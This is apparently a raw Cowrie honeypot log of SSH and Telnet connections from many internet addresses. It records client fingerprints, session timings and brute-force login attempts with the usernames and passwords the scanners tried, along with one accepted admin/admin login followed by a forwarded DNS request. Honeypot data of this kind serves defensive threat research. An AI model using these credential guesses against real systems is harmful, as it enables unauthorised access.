man-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:51.136720Z","src_ip":"20.205.18.79","session":"c63dd81444dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:56:51.548807Z","src_ip":"20.205.18.79","session":"c63dd81444dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":36238,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d6dc2361f1a","protocol":"telnet","message":"New connection: 165.22.57.101:36238 (159.203.135.109:23) [session: 1d6dc2361f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:02.860981Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36985,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aad62fc3148","protocol":"ssh","message":"New connection: 168.167.72.132:36985 (159.203.135.109:22) [session: 6aad62fc3148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:06.967474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:06.972109Z","src_ip":"168.167.72.132","session":"6aad62fc3148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:07.221525Z","src_ip":"168.167.72.132","session":"6aad62fc3148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:08.233092Z","src_ip":"168.167.72.132","session":"6aad62fc3148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.965843677520752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:08.243208Z","src_ip":"69.4.83.194","session":"c3b51556cfbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:09.482161Z","src_ip":"168.167.72.132","session":"6aad62fc3148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26466,"dst_ip":"10.17.0.5","dst_port":22,"session":"d01d14c51766","protocol":"ssh","message":"New connection: 87.251.64.176:26466 (10.17.0.5:22) [session: d01d14c51766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:14.060457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:14.064310Z","src_ip":"87.251.64.176","session":"d01d14c51766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:14.171224Z","src_ip":"87.251.64.176","session":"d01d14c51766","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:14.519437Z","src_ip":"87.251.64.176","session":"d01d14c51766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:14.637776Z","session":"d01d14c51766","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:14.755692Z","src_ip":"87.251.64.176","session":"d01d14c51766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:14.875791Z","src_ip":"87.251.64.176","session":"d01d14c51766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.12026000022888,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:17.474075Z","src_ip":"69.4.83.194","session":"74f5b4ec15f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.156360864639282,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:27.017195Z","src_ip":"165.22.57.101","session":"1d6dc2361f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.219.11.104","src_port":33122,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b1df2f79eae","protocol":"ssh","message":"New connection: 18.219.11.104:33122 (159.203.135.109:22) [session: 5b1df2f79eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:39.874784Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.219.11.104","src_port":58470,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b01eae30bcc","protocol":"telnet","message":"New connection: 18.219.11.104:58470 (159.203.135.109:23) [session: 8b01eae30bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:40.766621Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:40.869658Z","src_ip":"18.219.11.104","session":"5b1df2f79eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.2698817253112793,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:41.036407Z","src_ip":"18.219.11.104","session":"8b01eae30bcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58922,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5b262fc6e67","protocol":"telnet","message":"New connection: 69.4.83.194:58922 (159.203.135.109:23) [session: a5b262fc6e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:57:42.285558Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.220.191","src_port":37305,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a460ee03aa","protocol":"telnet","message":"New connection: 45.186.220.191:37305 (159.203.135.109:23) [session: 15a460ee03aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:00.372121Z"}
{"eventid":"cowrie.session.closed","duration":37.93805170059204,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:20.223463Z","src_ip":"69.4.83.194","session":"a5b262fc6e67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46444,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8f785c152a0","protocol":"telnet","message":"New connection: 69.4.83.194:46444 (159.203.135.109:23) [session: a8f785c152a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:21.511094Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":41416,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df6d6d4a27c","protocol":"ssh","message":"New connection: 115.190.56.179:41416 (159.203.135.109:22) [session: 8df6d6d4a27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:24.904938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:24.910332Z","src_ip":"115.190.56.179","session":"8df6d6d4a27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:25.162184Z","src_ip":"115.190.56.179","session":"8df6d6d4a27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.820709705352783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:31.192685Z","src_ip":"45.186.220.191","session":"15a460ee03aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:33.197340Z","src_ip":"115.190.56.179","session":"8df6d6d4a27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:34.621411Z","src_ip":"115.190.56.179","session":"8df6d6d4a27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.81364679336548,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:55.324613Z","src_ip":"69.4.83.194","session":"a8f785c152a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":57328,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e1dd6d1e61","protocol":"ssh","message":"New connection: 103.173.227.57:57328 (10.17.0.5:22) [session: e3e1dd6d1e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:56.573406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:56.578644Z","src_ip":"103.173.227.57","session":"e3e1dd6d1e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:56.813694Z","src_ip":"103.173.227.57","session":"e3e1dd6d1e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199716","message":"login attempt [root/199716] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:57.523194Z","src_ip":"103.173.227.57","session":"e3e1dd6d1e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:58:58.761317Z","src_ip":"103.173.227.57","session":"e3e1dd6d1e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":45316,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c5c101d6dbc","protocol":"ssh","message":"New connection: 115.190.56.179:45316 (159.203.135.109:22) [session: 4c5c101d6dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:24.883852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:24.889145Z","src_ip":"115.190.56.179","session":"4c5c101d6dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:25.163321Z","src_ip":"115.190.56.179","session":"4c5c101d6dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123456!","message":"login attempt [root/Qaz123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:29.471256Z","src_ip":"115.190.56.179","session":"4c5c101d6dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:30.745192Z","src_ip":"115.190.56.179","session":"4c5c101d6dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43864,"dst_ip":"159.203.135.109","dst_port":23,"session":"03968c93de98","protocol":"telnet","message":"New connection: 69.4.83.194:43864 (159.203.135.109:23) [session: 03968c93de98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:31.016442Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":38758,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7539e89180c","protocol":"ssh","message":"New connection: 20.205.18.79:38758 (159.203.135.109:22) [session: f7539e89180c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:37.304270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:37.311991Z","src_ip":"20.205.18.79","session":"f7539e89180c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:37.524290Z","src_ip":"20.205.18.79","session":"f7539e89180c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"scan123","message":"login attempt [scan/scan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:38.400985Z","src_ip":"20.205.18.79","session":"f7539e89180c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:39.614725Z","src_ip":"20.205.18.79","session":"f7539e89180c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37976,"dst_ip":"10.17.0.5","dst_port":22,"session":"89bc45ae2e33","protocol":"ssh","message":"New connection: 62.133.63.178:37976 (10.17.0.5:22) [session: 89bc45ae2e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:40.811389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:59:40.817575Z","src_ip":"62.133.63.178","session":"89bc45ae2e33","protocol":"ssh"}
